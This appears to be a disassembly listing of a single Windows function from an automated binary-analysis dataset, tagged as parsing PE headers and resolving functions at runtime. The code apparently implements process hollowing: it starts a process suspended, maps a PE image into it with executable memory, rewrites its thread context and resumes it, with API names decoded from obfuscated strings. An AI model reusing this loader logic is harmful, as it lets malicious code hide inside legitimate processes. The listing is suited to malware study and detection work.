Function at 0x10019b98
Capabilities:
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3b
push 0
push 0
dec ecx
jne 0x10019ba0
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.10004250
xor eax, eax
push ebp
push 0x1001a1f2
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a20c
call fcn.100041ac
je 0x10019bdd
mov ebx, dword [ebp - 8]
mov eax, 0x1001d8a0
mov edx, 0x1001a21c
call fcn.10003e18
cmp word [ebx], 0x5a4d
jne 0x1001a1cc
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a22c
call fcn.100041ac
je 0x10019c1f
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, eax
mov eax, 0x1001d8a0
mov edx, 0x1001a23c
call fcn.10003e18
cmp dword [esi], 0x4550
jne 0x1001a1cc
lea eax, [ebp - 0xd8]
xor ecx, ecx
mov edx, 0x44
call fcn.10002b58
lea eax, [ebp - 0x94]
xor ecx, ecx
mov edx, 0x10
call fcn.10002b58
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a24c
call fcn.100041ac
je 0x10019c79
mov dword [ebp - 0xd8], 0x44
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a25c
call fcn.100041ac
je 0x10019cae
lea edx, [ebp - 0x1a8]
mov eax, 0x1001a26c
call fcn.100197c4
mov eax, dword [ebp - 0x1a8]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x7c], eax
lea edx, [ebp - 0x1ac]
mov eax, 0x1001a290
call fcn.100197c4
mov eax, dword [ebp - 0x1ac]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x7c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x74], eax
mov eax, 0x1001d8a0
mov edx, 0x1001a2b8
call fcn.10003e18
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0xd8]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.10004260
push eax
push 0
call dword [ebp - 0x74]
test eax, eax
je 0x1001a1cc
mov dword [ebp - 0x1a4], 0x10007
mov eax, 0x1001a26c
lea edx, [ebp - 0x1b0]
call fcn.100197c4
mov eax, dword [ebp - 0x1b0]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x78], eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a2c4
call fcn.100041ac
je 0x10019d7c
lea edx, [ebp - 0x1b4]
mov eax, 0x1001a2d8
call fcn.100197c4
mov eax, dword [ebp - 0x1b4]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x70], eax
mov eax, 0x1001d8a0
mov edx, 0x1001a304
call fcn.10003e18
lea eax, [ebp - 0x1a4]
push eax
mov eax, dword [ebp - 0x90]
push eax
call dword [ebp - 0x70]
test eax, eax
je 0x1001a1cc
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x100]
add eax, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 4
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a310
call fcn.100041ac
je 0x10019dfb
mov eax, 0x1001a26c
lea edx, [ebp - 0x1b8]
call fcn.100197c4
mov eax, dword [ebp - 0x1b8]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x80], eax
lea edx, [ebp - 0x1bc]
mov eax, 0x1001a320
call fcn.100197c4
mov eax, dword [ebp - 0x1bc]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [ebp - 0x60]
mov eax, 0x1001a26c
lea edx, [ebp - 0x1c0]
call fcn.100197c4
mov eax, dword [ebp - 0x1c0]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x78], eax
mov eax, 0x1001d8a0
mov edx, 0x1001a350
call fcn.10003e18
mov eax, dword [ebp - 0xc]
cmp eax, dword [esi + 0x34]
jne 0x10019f0c
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a364
call fcn.100041ac
je 0x10019e93
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x3c], eax
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a374
call fcn.100041ac
je 0x10019eb1
mov dword [ebp - 0x44], 0x3000
mov dword [ebp - 0x48], 0x40
lea edx, [ebp - 0x1c4]
mov eax, 0x1001a388
call fcn.100197c4
mov eax, dword [ebp - 0x1c4]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x40]
push eax
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x6c]
mov dword [ebp - 0x10], eax
mov eax, 0x1001d8a0
mov edx, 0x1001a3b0
call fcn.10003e18
jmp 0x10019fb3
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a3c4
call fcn.100041ac
je 0x10019f26
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x4c], eax
mov eax, dword [esi + 0x34]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a3d4
call fcn.100041ac
je 0x10019f4a
mov dword [ebp - 0x44], 0x3000
mov dword [ebp - 0x48], 0x40
mov eax, 0x1001a388
lea edx, [ebp - 0x1c8]
call fcn.100197c4
mov eax, dword [ebp - 0x1c8]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x6c], eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a3ec
call fcn.100041ac
je 0x10019fa4
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x6c]
mov dword [ebp - 0x10], eax
mov eax, 0x1001d8a0
mov edx, 0x1001a3fc
call fcn.10003e18
cmp dword [ebp - 0x10], 0
je 0x1001a1cc
mov eax, dword [ebp - 8]
call fcn.10019a38
mov dword [ebp - 8], eax
mov edi, dword [esi + 0x34]
mov eax, edi
mov edx, dword [ebp - 0x10]
cmp eax, edx
je 0x1001a05d
sub edx, edi
mov dword [ebp - 0x54], edx
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a40c
call fcn.100041ac
je 0x10019ffc
mov eax, dword [ebp - 0x54]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
call fcn.10019668
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x34], eax
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ebx, eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a41c
call fcn.100041ac
je 0x1001a031
mov dword [ebp - 0x58], 0xf8
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a42c
call fcn.100041ac
je 0x1001a04e
mov ecx, dword [ebp - 0x58]
mov edx, esi
mov eax, ebx
call fcn.1000603c
mov eax, 0x1001d8a0
mov edx, 0x1001a440
call fcn.10003e18
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a450
call fcn.100041ac
je 0x1001a095
mov eax, 0x1001a26c
lea edx, [ebp - 0x1cc]
call fcn.100197c4
mov eax, dword [ebp - 0x1cc]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x84], eax
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a45c
call fcn.100041ac
je 0x1001a0d1
lea edx, [ebp - 0x1d0]
mov eax, 0x1001a470
call fcn.100197c4
mov eax, dword [ebp - 0x1d0]
call fcn.10004260
push eax
mov eax, dword [ebp - 0x84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi + 0x50]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x94]
push eax
call dword [ebp - 0x64]
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x100]
add eax, 8
push eax
mov eax, dword [ebp - 0x94]
push eax
call dword [ebp - 0x64]
mov eax, dword [ebp - 0x10]
add eax, dword [esi + 0x28]
mov dword [ebp - 0xf4], eax
mov eax, 0x1001a26c
lea edx, [ebp - 0x1d4]
call fcn.100197c4
mov eax, dword [ebp - 0x1d4]
call fcn.10004260
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
lea edx, [ebp - 0x1d8]
mov eax, 0x1001a4a0
call fcn.100197c4
mov eax, dword [ebp - 0x1d8]
call fcn.10004260
push eax
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
lea edx, [ebp - 0x1dc]
mov eax, 0x1001a4cc
call fcn.100197c4
mov eax, dword [ebp - 0x1dc]
call fcn.10004260
push eax
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x1a4]
push eax
mov eax, dword [ebp - 0x90]
push eax
call edi
mov eax, dword [ebp - 0x90]
push eax
call dword [ebp - 0x68]
mov eax, dword [0x1001d8a0]
mov edx, 0x1001a4f0
call fcn.100041ac
je 0x1001a1b7
mov edx, dword [esi + 0x50]
mov eax, dword [ebp - 8]
call fcn.1000267c
mov edi, dword [ebp - 0x90]
mov eax, 0x1001d8a0
mov edx, 0x1001a500
call fcn.10003e18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1001a1f9
lea eax, [ebp - 0x1dc]
mov edx, 0xe
call fcn.10003de8
lea eax, [ebp - 4]
call fcn.10003dc4
ret